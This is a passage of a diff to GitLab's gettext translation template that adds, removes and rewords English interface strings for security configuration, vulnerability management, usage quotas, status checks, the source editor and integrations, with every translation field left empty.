msgid "SecurityApprovals|A merge request approval is required when a security report contains a new vulnerability."
msgstr ""
@@ -30325,7 +30839,7 @@ msgstr ""
msgid "SecurityConfiguration|Available with Ultimate"
msgstr ""
-msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
+msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the merge request."
msgstr ""
msgid "SecurityConfiguration|Compliance"
@@ -30340,7 +30854,7 @@ msgstr ""
msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure with a merge request"
msgstr ""
msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
@@ -30352,7 +30866,7 @@ msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
-msgid "SecurityConfiguration|Create Merge Request"
+msgid "SecurityConfiguration|Create merge request"
msgstr ""
msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
@@ -30412,6 +30926,9 @@ msgstr ""
msgid "SecurityConfiguration|Security testing"
msgstr ""
+msgid "SecurityConfiguration|Security training"
+msgstr ""
+
msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
msgstr ""
@@ -30421,6 +30938,9 @@ msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability Management"
+msgstr ""
+
msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request"
msgstr ""
@@ -30445,6 +30965,12 @@ msgstr ""
msgid "SecurityOrchestration|An error occurred assigning your security policy project"
msgstr ""
+msgid "SecurityOrchestration|An error occurred unassigning your security policy project"
+msgstr ""
+
+msgid "SecurityOrchestration|Choose a project"
+msgstr ""
+
msgid "SecurityOrchestration|Description"
msgstr ""
@@ -30514,7 +31040,10 @@ msgstr ""
msgid "SecurityOrchestration|Scan execution policies can only be created by project owners."
msgstr ""
-msgid "SecurityOrchestration|Scan to be performed every %{cadence} on the %{branches}"
+msgid "SecurityOrchestration|Scan to be performed %{cadence}"
+msgstr ""
+
+msgid "SecurityOrchestration|Scan to be performed %{cadence} on the %{branches}"
msgstr ""
msgid "SecurityOrchestration|Scan to be performed on every pipeline on the %{branches}"
@@ -30523,6 +31052,9 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project was linked successfully"
msgstr ""
+msgid "SecurityOrchestration|Security policy project was unlinked successfully"
+msgstr ""
+
msgid "SecurityOrchestration|Select a project to store your security policies in. %{linkStart}More information.%{linkEnd}"
msgstr ""
@@ -30544,6 +31076,12 @@ msgstr ""
msgid "SecurityOrchestration|To widen your search, change filters above or select a different security policy project."
msgstr ""
+msgid "SecurityOrchestration|Unlink project"
+msgstr ""
+
+msgid "SecurityOrchestration|Unlinking a security project removes all policies stored in the linked security project. Save to confirm this action."
+msgstr ""
+
msgid "SecurityOrchestration|Update scan execution policies"
msgstr ""
@@ -30763,7 +31301,7 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
-msgid "SecurityReports|The Vulnerability Report shows the results of the lastest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
+msgid "SecurityReports|The Vulnerability Report shows the results of the latest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
@@ -30796,6 +31334,9 @@ msgstr ""
msgid "SecurityReports|There was an error while generating the report."
msgstr ""
+msgid "SecurityReports|These vulnerabilities were detected in external sources. They are not necessarily tied to your GitLab project. For example, running containers, URLs, and so on."
+msgstr ""
+
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
@@ -30934,6 +31475,9 @@ msgstr ""
msgid "Select assignee"
msgstr ""
+msgid "Select assignee(s)"
+msgstr ""
+
msgid "Select branch"
msgstr ""
@@ -31138,9 +31682,6 @@ msgstr ""
msgid "Sep"
msgstr ""
-msgid "Separate topics with commas."
-msgstr ""
-
msgid "September"
msgstr ""
@@ -31240,7 +31781,16 @@ msgstr ""
msgid "Service"
msgstr ""
-msgid "Service Accounts keys are required to authorize GitLab to deploy your Google Cloud project."
+msgid "Service Account"
+msgstr ""
+
+msgid "Service Account Key"
+msgstr ""
+
+msgid "Service Accounts"
+msgstr ""
+
+msgid "Service Accounts keys authorize GitLab to deploy your Google Cloud project"
msgstr ""
msgid "Service Desk"
@@ -31252,6 +31802,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service account generated successfully"
+msgstr ""
+
msgid "Service ping is disabled in your configuration file, and cannot be enabled through this form."
msgstr ""
@@ -31297,6 +31850,9 @@ msgstr ""
msgid "ServicePing|Turn on service ping to review instance-level analytics."
msgstr ""
+msgid "Services"
+msgstr ""
+
msgid "Session ID"
msgstr ""
@@ -31378,6 +31934,9 @@ msgstr ""
msgid "Set the iteration to %{iteration_reference}."
msgstr ""
+msgid "Set the maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "Set the maximum session time for a web terminal."
msgstr ""
@@ -31435,9 +31994,6 @@ msgstr ""
msgid "Set what should be replicated by this secondary site."
msgstr ""
-msgid "SetPasswordToCloneLink|set a password"
-msgstr ""
-
msgid "SetStatusModal|Add status emoji"
msgstr ""
@@ -31512,9 +32068,6 @@ msgid_plural "Settings saved successfully"
msgstr[0] ""
msgstr[1] ""
-msgid "Setting this to 0 means using the system default timeout value."
-msgstr ""
-
msgid "Settings"
msgstr ""
@@ -31581,6 +32134,27 @@ msgstr ""
msgid "Sherlock Transactions"
msgstr ""
+msgid "Shimo|Go to Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Link to a Shimo Workspace from the sidebar."
+msgstr ""
+
+msgid "Shimo|Shimo"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace URL"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace integration is enabled"
+msgstr ""
+
+msgid "Shimo|You've enabled the Shimo Workspace integration. You can view your wiki directly in Shimo."
+msgstr ""
+
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{boldStart}will%{boldEnd} lose access to your account."
msgstr ""
@@ -31596,6 +32170,9 @@ msgstr ""
msgid "Show all activity"
msgstr ""
+msgid "Show all breadcrumbs"
+msgstr ""
+
msgid "Show all issues."
msgstr ""
@@ -31644,18 +32221,9 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me how to add a pipeline"
-msgstr ""
-
msgid "Show one file at a time"
msgstr ""
-msgid "Show parent pages"
-msgstr ""
-
-msgid "Show parent subgroups"
-msgstr ""
-
msgid "Show the Closed list"
msgstr ""
@@ -32020,6 +32588,12 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong trying to load issue contacts."
+msgstr ""
+
+msgid "Something went wrong when creating a work item. Please try again"
+msgstr ""
+
msgid "Something went wrong when reordering designs. Please try again"
msgstr ""
@@ -32104,9 +32678,6 @@ msgstr ""
msgid "Something went wrong while fetching the environments for this merge request. Please try again."
msgstr ""
-msgid "Something went wrong while fetching the package."
-msgstr ""
-
msgid "Something went wrong while fetching the packages list."
msgstr ""
@@ -32383,9 +32954,6 @@ msgstr ""
msgid "Source Branch"
msgstr ""
-msgid "Source Editor instance is required to set up an extension."
-msgstr ""
-
msgid "Source IP"
msgstr ""
@@ -32404,6 +32972,33 @@ msgstr ""
msgid "Source project cannot be found."
msgstr ""
+msgid "SourceEditor|\"el\" parameter is required for createInstance()"
+msgstr ""
+
+msgid "SourceEditor|%{name} is not registered."
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either a class or a function"
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either class, function, or an Array of definitions."
+msgstr ""
+
+msgid "SourceEditor|Extensions Store is required to check for an extension."
+msgstr ""
+
+msgid "SourceEditor|Name conflict for \"%{prop}()\" method."
+msgstr ""
+
+msgid "SourceEditor|No extension for unuse has been specified."
+msgstr ""
+
+msgid "SourceEditor|Source Editor instance is required to set up an extension."
+msgstr ""
+
+msgid "SourceEditor|`definition` property is expected on the extension."
+msgstr ""
+
msgid "Sourcegraph"
msgstr ""
@@ -32557,9 +33152,6 @@ msgstr ""
msgid "Start a review"
msgstr ""
-msgid "Start and due date"
-msgstr ""
-
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -32704,6 +33296,9 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{failed} failed"
+msgstr ""
+
msgid "StatusCheck|%{pending} pending"
msgstr ""
@@ -32725,7 +33320,7 @@ msgstr ""
msgid "StatusCheck|Apply this status check to all branches or a specific protected branch."
msgstr ""
-msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgid "StatusCheck|Check for a status response in merge requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
msgstr ""
msgid "StatusCheck|Examples: QA, Security."
@@ -32734,6 +33329,9 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
+msgid "StatusCheck|Failed to load status checks"
+msgstr ""
+
msgid "StatusCheck|Failed to load status checks."
msgstr ""
@@ -32755,6 +33353,12 @@ msgstr ""
msgid "StatusCheck|Status checks"
msgstr ""
+msgid "StatusCheck|Status checks all passed"
+msgstr ""
+
+msgid "StatusCheck|Status checks are being fetched"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
@@ -32770,6 +33374,9 @@ msgstr ""
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
+msgid "StatusCheck|status checks"
+msgstr ""
+
msgid "StatusPage|AWS %{docsLink}"
msgstr ""
@@ -33755,10 +34362,10 @@ msgstr ""
msgid "Terraform|Terraform init command"
msgstr ""
-msgid "Terraform|The report %{name} failed to generate."
+msgid "Terraform|The job %{name} failed to generate a report."
msgstr ""
-msgid "Terraform|The report %{name} was generated in your pipelines."
+msgid "Terraform|The job %{name} generated a report."
msgstr ""
msgid "Terraform|To get access to this terraform state from your local computer, run the following command at the command line. The first line requires a personal access token with API read and write access. %{linkStart}How do I create a personal access token?%{linkEnd}."
@@ -34013,7 +34620,7 @@ msgstr ""
msgid "The URL should start with http:// or https://"
msgstr ""
-msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
+msgid "The URLs for connecting to Elasticsearch. For clustering, add the URLs separated by commas."
msgstr ""
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
@@ -34049,7 +34656,10 @@ msgstr ""
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
-msgid "The contact does not belong to the same group as the issue."
+msgid "The contact does not belong to the same group as the issue"
+msgstr ""
+
+msgid "The content editor may change the markdown formatting style of the document, which may not match your original markdown style."
msgstr ""
msgid "The content of this page is not encoded in UTF-8. Edits can only be made via the Git repository."
@@ -34255,9 +34865,6 @@ msgstr ""
msgid "The maximum number of pipeline minutes that a group can use on shared runners per month. 0 for unlimited."
msgstr ""
-msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
-msgstr ""
-
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -34390,9 +34997,6 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The source branch will be deleted"
-msgstr ""
-
msgid "The specified tab is invalid, please select another"
msgstr ""
@@ -34447,6 +35051,9 @@ msgstr ""
msgid "The vulnerability is no longer detected. Verify the vulnerability has been remediated before changing its status."
msgstr ""
+msgid "There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
+msgstr ""
+
msgid "There are currently no events."
msgstr ""
@@ -34543,9 +35150,6 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
-msgid "There are pending advanced search migrations which require indexing to be paused. Indexing must remain paused until the migrations are completed."
-msgstr ""
-
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
@@ -34558,9 +35162,6 @@ msgstr ""
msgid "There are several size limits in place."
msgstr ""
-msgid "There is a halted Elasticsearch migration"
-msgstr ""
-
msgid "There is already a repository with that name on disk"
msgstr ""
@@ -34936,6 +35537,9 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
+msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
+msgstr ""
+
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
@@ -34954,12 +35558,6 @@ msgstr ""
msgid "This credential has expired"
msgstr ""
-msgid "This date is after the due date, so this epic won't appear in the roadmap."
-msgstr ""
-
-msgid "This date is before the start date, so this epic won't appear in the roadmap."
-msgstr ""
-
msgid "This device has already been registered with us."
msgstr ""
@@ -35008,6 +35606,12 @@ msgstr ""
msgid "This field is required."
msgstr ""
+msgid "This file was modified for readability, and can't accept suggestions. Edit it directly."
+msgstr ""
+
+msgid "This forked project has the following:"
+msgstr ""
+
msgid "This form is disabled in preview"
msgstr ""
@@ -35062,12 +35666,15 @@ msgstr ""
msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
-msgid "This is a security log of important events involving your account."
+msgid "This is a security log of authentication events involving your account."
msgstr ""
msgid "This is a self-managed instance of GitLab."
msgstr ""
+msgid "This is an experimental feature developed by GitLab Incubation Engineering."
+msgstr ""
+
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -35077,6 +35684,9 @@ msgstr ""
msgid "This is your current session"
msgstr ""
+msgid "This issue is confidential and should only be visible to team members with at least Reporter access."
+msgstr ""
+
msgid "This issue is currently blocked by the following issues:"
msgstr ""
@@ -35212,9 +35822,6 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a draft."
-msgstr ""
-
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
msgstr ""
@@ -35257,6 +35864,9 @@ msgstr ""
msgid "This project has no active access tokens."
msgstr ""
+msgid "This project is %{strongStart}NOT%{strongEnd} a fork, and has the following:"
+msgstr ""
+
msgid "This project is archived and cannot be commented on."
msgstr ""
@@ -35356,7 +35966,7 @@ msgstr ""
msgid "Thread to reply to cannot be found"
msgstr ""
-msgid "Threat Monitoring"
+msgid "Threat monitoring"
msgstr ""
msgid "ThreatMonitoring|Alert Details"
@@ -35900,6 +36510,9 @@ msgstr ""
msgid "To see this project's operational details, contact an owner of group %{groupName} to upgrade the plan. You can also remove the project from the dashboard."
msgstr ""
+msgid "To see what's changed or create a merge request, choose a branch or tag (like %{branch}), or enter a commit (like %{sha})."
+msgstr ""
+
msgid "To set up SAML authentication for your group through an identity provider like Azure, Okta, Onelogin, Ping Identity, or your custom SAML 2.0 provider:"
msgstr ""
@@ -35924,6 +36537,9 @@ msgstr ""
msgid "To use the additional formats, you must start the required %{container_link_start}companion containers%{container_link_end}."
msgstr ""
+msgid "To use the system's default, set this value to 0."
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
@@ -36029,10 +36645,10 @@ msgstr ""
msgid "Too many changes to show."
msgstr ""
-msgid "Too many namespaces enabled. You will need to manage them via the console or the API."
+msgid "Too many namespaces enabled. Manage them through the console or the API."
msgstr ""
-msgid "Too many projects enabled. You will need to manage them via the console or the API."
+msgid "Too many projects enabled. Manage them through the console or the API."
msgstr ""
msgid "TopNav|Go back"
@@ -36053,9 +36669,6 @@ msgstr ""
msgid "Topics"
msgstr ""
-msgid "Topics (optional)"
-msgstr ""
-
msgid "Total"
msgstr ""
@@ -36116,6 +36729,9 @@ msgstr ""
msgid "Track your GitLab projects with GitLab for Slack."
msgstr ""
+msgid "Training mode"
+msgstr ""
+
msgid "Transfer"
msgstr ""
@@ -36286,7 +36902,7 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
-msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgid "Trigger cluster reindexing. Only use this with an index that was created in GitLab 13.0 or later."
msgstr ""
msgid "Trigger manual job"
@@ -36343,6 +36959,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
+msgid "Try out GitLab Pipelines"
+msgstr ""
+
+msgid "Try the troubleshooting steps here."
+msgstr ""
+
msgid "Try to fork again"
msgstr ""
@@ -36541,9 +37163,6 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
-msgid "Unable to save cadence. Please try again"
-msgstr ""
-
msgid "Unable to save iteration. Please try again"
msgstr ""
@@ -36649,6 +37268,9 @@ msgstr ""
msgid "Unknown response text"
msgstr ""
+msgid "Unknown screen"
+msgstr ""
+
msgid "Unknown user"
msgstr ""
@@ -36733,9 +37355,6 @@ msgstr ""
msgid "Unsupported todo type passed. Supported todo types are: %{todo_types}"
msgstr ""
-msgid "Until"
-msgstr ""
-
msgid "Until revoked, expired personal access tokens pose a security risk."
msgstr ""
@@ -36844,6 +37463,9 @@ msgstr ""
msgid "Updating"
msgstr ""
+msgid "Updating the attention request for %{username} failed."
+msgstr ""
+
msgid "Updating…"
msgstr ""
@@ -36886,6 +37508,9 @@ msgstr ""
msgid "Upload license"
msgstr ""
+msgid "Upload new file"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -36895,9 +37520,6 @@ msgstr ""
msgid "Uploading changes to terminal"
msgstr ""
-msgid "Uploads"
-msgstr ""
-
msgid "Upon performing this action, the contents of this group, its subgroup and projects will be permanently deleted after %{deletion_adjourned_period} days on %{date}. Until that time:"
msgstr ""
@@ -36910,9 +37532,6 @@ msgstr ""
msgid "Upvotes"
msgstr ""
-msgid "Usage"
-msgstr ""
-
msgid "Usage Trends"
msgstr ""
@@ -36967,12 +37586,6 @@ msgstr ""
msgid "UsageQuota|Increase storage temporarily"
msgstr ""
-msgid "UsageQuota|LFS Objects"
-msgstr ""
-
-msgid "UsageQuota|LFS Storage"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
@@ -36982,9 +37595,15 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|No CI minutes usage data available."
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
+msgid "UsageQuota|Pending Members"
+msgstr ""
+
msgid "UsageQuota|Pipeline artifacts and job artifacts, created with CI/CD."
msgstr ""
@@ -36997,9 +37616,6 @@ msgstr ""
msgid "UsageQuota|Purchased storage available"
msgstr ""
-msgid "UsageQuota|Repositories"
-msgstr ""
-
msgid "UsageQuota|Repository"
msgstr ""
@@ -37033,18 +37649,6 @@ msgstr ""
msgid "UsageQuota|This namespace has no projects which use shared runners"
msgstr ""
-msgid "UsageQuota|This project is at risk of being locked because purchased storage is running low."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it is using %{actualRepositorySizeLimit} of free storage and there is no purchased storage available."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it used %{actualRepositorySizeLimit} of free storage and all the purchased storage."
-msgstr ""
-
-msgid "UsageQuota|This project is near the free %{actualRepositorySizeLimit} limit and at risk of being locked."
-msgstr ""
-
msgid "UsageQuota|Total excess storage used"
msgstr ""
@@ -37090,9 +37694,6 @@ msgstr ""
msgid "UsageQuota|Wiki content."
msgstr ""
-msgid "UsageQuota|Wikis"
-msgstr ""
-
msgid "UsageQuota|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{actualRepositorySizeLimit} limit."
msgstr ""
@@ -37285,9 +37886,6 @@ msgstr ""
msgid "Used programming language"
msgstr ""
-msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
-msgstr ""
-
msgid "Used to help configure your identity provider"
msgstr ""
@@ -37591,9 +38189,6 @@ msgstr ""
msgid "Username"
msgstr ""
-msgid "Username (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Username (optional)"
msgstr ""
@@ -37819,6 +38414,18 @@ msgstr ""
msgid "Verification status"
msgstr ""
+msgid "VerificationReminder|Pipeline failing? To keep GitLab spam and abuse free we ask that you verify your identity with a valid payment method."
+msgstr ""
+
+msgid "VerificationReminder|Until then, free pipeline minutes on shared runners are unavailable. %{validateLinkStart}Validate your account%{validateLinkEnd} or %{docsLinkStart}use your own runners%{docsLinkEnd}."
+msgstr ""
+
+msgid "VerificationReminder|Your account has been validated."
+msgstr ""
+
+msgid "VerificationReminder|You’ll now be able to take advantage of free pipeline minutes on shared runners."
+msgstr ""
+
msgid "Verified"
msgstr ""
@@ -37843,6 +38450,9 @@ msgstr ""
msgid "View Documentation"
msgstr ""
+msgid "View Stage: %{title}"
+msgstr ""
+
msgid "View alert details at"
msgstr ""
@@ -37940,6 +38550,9 @@ msgstr ""
msgid "View merge request"
msgstr ""
+msgid "View milestones"
+msgstr ""
+
msgid "View on %{url}"
msgstr ""
@@ -38050,6 +38663,9 @@ msgstr ""
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
+msgid "Vulnerability report"
+msgstr ""
+
msgid "Vulnerability resolved in %{branch}"
msgstr ""
@@ -38062,9 +38678,6 @@ msgstr ""
msgid "VulnerabilityChart|Severity"
msgstr ""
-msgid "VulnerabilityManagement, Fetching linked Jira issues"
-msgstr ""
-
msgid "VulnerabilityManagement|%{statusStart}Confirmed%{statusEnd} %{timeago} by %{user}"
msgstr ""
@@ -38080,6 +38693,9 @@ msgstr ""
msgid "VulnerabilityManagement|A true-positive and will fix"
msgstr ""
+msgid "VulnerabilityManagement|Add vulnerability finding"
+msgstr ""
+
msgid "VulnerabilityManagement|Change status"
msgstr ""
@@ -38089,7 +38705,10 @@ msgstr ""
msgid "VulnerabilityManagement|Create Jira issue"
msgstr ""
-msgid "VulnerabilityManagement|Detected"
+msgid "VulnerabilityManagement|Fetching linked Jira issues"
+msgstr ""
+
+msgid "VulnerabilityManagement|Manually add a vulnerability entry into the vulnerability report."
msgstr ""
msgid "VulnerabilityManagement|Needs triage"
@@ -38101,6 +38720,9 @@ msgstr ""
msgid "VulnerabilityManagement|Related Jira issues"
msgstr ""
+msgid "VulnerabilityManagement|Requires assessment"
+msgstr ""
+
msgid "VulnerabilityManagement|Something went wrong while trying to delete the comment. Please try again later."
msgstr ""
@@ -38125,9 +38747,15 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong, could not update vulnerability state."
msgstr ""
+msgid "VulnerabilityManagement|Summary, detailed description, steps to reproduce, etc."
+msgstr ""
+
msgid "VulnerabilityManagement|Verified as fixed or mitigated"
msgstr ""
+msgid "VulnerabilityManagement|Vulnerability name or type. Ex: Cross-site scripting"
+msgstr ""
+
msgid "VulnerabilityManagement|Will not fix or a false-positive"
msgstr ""
@@ -38140,10 +38768,10 @@ msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Detected"
+msgid "VulnerabilityStatusTypes|Dismissed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Dismissed"
+msgid "VulnerabilityStatusTypes|Needs triage"
msgstr ""
msgid "VulnerabilityStatusTypes|Resolved"
@@ -38317,7 +38945,7 @@ msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
-msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgid "We invite you to %{featureLinkStart}request a feature%{featureLinkEnd}, %{bugLinkStart}report a bug%{bugLinkEnd} or %{feedbackLinkStart}share feedback%{feedbackLinkEnd}"
msgstr ""
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
@@ -38623,6 +39251,9 @@ msgstr ""
msgid "When a runner is locked, it cannot be assigned to other projects"
msgstr ""
+msgid "When enabled, SSH keys with no expiry date or an invalid expiration date are no longer accepted. Leave blank for no limit."
+msgstr ""
+
msgid "When enabled, existing personal access tokens may be revoked. Leave blank for no limit."
msgstr ""
@@ -38635,7 +39266,7 @@ msgstr ""
msgid "When merge requests and commits in the default branch close, any issues they reference also close."
msgstr ""
-msgid "When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgid "When paused, GitLab still tracks the changes. This is useful for cluster/index migrations."
msgstr ""
msgid "When this merge request is accepted"
@@ -38808,6 +39439,12 @@ msgstr ""
msgid "WikiPage|Create page"
msgstr ""
+msgid "WikiPage|Edit rich text"
+msgstr ""
+
+msgid "WikiPage|Edit source"
+msgstr ""
+
msgid "WikiPage|Format"
msgstr ""
@@ -38817,7 +39454,7 @@ msgstr ""
msgid "WikiPage|Keep editing"
msgstr ""
-msgid "WikiPage|More Information."
+msgid "WikiPage|Learn more."
msgstr ""
msgid "WikiPage|Page title"
@@ -38931,6 +39568,9 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "Work in progress- click here to find out more"
+msgstr ""
+
msgid "WorkItem|Work Items"
msgstr ""
@@ -39204,13 +39844,10 @@ msgstr ""
msgid "You can only %{action} files when you are on a branch"
msgstr ""
-msgid "You can only edit files when you are on a branch"
+msgid "You can only add up to %{max_contacts} contacts at one time"
msgstr ""
-msgid "You can only merge once the items above are resolved."
-msgstr ""
-
-msgid "You can only merge once this merge request is approved."
+msgid "You can only edit files when you are on a branch"
msgstr ""
msgid "You can only transfer the project to namespaces you manage."
@@ -39246,6 +39883,9 @@ msgstr ""
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
+msgid "You cannot combine replace_ids with add_ids or remove_ids"
+msgstr ""
+
msgid "You cannot impersonate a blocked user"
msgstr ""
@@ -39276,12 +39916,18 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
+msgid "You do not have any Google Cloud projects. Please create a Google Cloud project and then reload this page."
+msgstr ""
+
msgid "You do not have any subscriptions yet"
msgstr ""
msgid "You do not have permission to access dora metrics."
msgstr ""
+msgid "You do not have permission to approve a member"
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -39333,6 +39979,11 @@ msgstr ""
msgid "You don’t have access to Value Stream Analytics for this group"
msgstr ""
+msgid "You have %{pendingMembersCount} pending member that needs approval."
+msgid_plural "You have %{pendingMembersCount} pending members that need approval."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -39381,6 +40032,9 @@ msgstr ""
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
+msgid "You have insufficient permissions to set customer relations contacts for this issue"
+msgstr ""
+
msgid "You have insufficient permissions to update an on-call schedule for this project"
msgstr ""
@@ -39516,9 +40170,6 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
@@ -39603,7 +40254,7 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. Use it to view how you compare with other organizations."
+msgid "Your DevOps Reports give an overview of how you are using GitLab from a feature perspective. Use them to view how you compare with other organizations, and how your teams compare against each other."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -39669,6 +40320,12 @@ msgstr ""
msgid "Your account has been deactivated. You will not be able to: "
msgstr ""
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_password_link_start}set a password%{link_end} or %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
msgid "Your account is locked."
msgstr ""
@@ -39861,6 +40518,9 @@ msgstr ""
msgid "Your sign-in page is %{url}."
msgstr ""
+msgid "Your snippets"
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -39875,15 +40535,9 @@ msgstr ""
msgid "ZenTaoIntegration|Failed to load ZenTao issue. View the issue in ZenTao, or reload the page."
msgstr ""
-msgid "ZenTaoIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}ZenTao%{linkEnd}."
-msgstr ""
-
msgid "ZenTaoIntegration|This is a ZenTao user."
msgstr ""
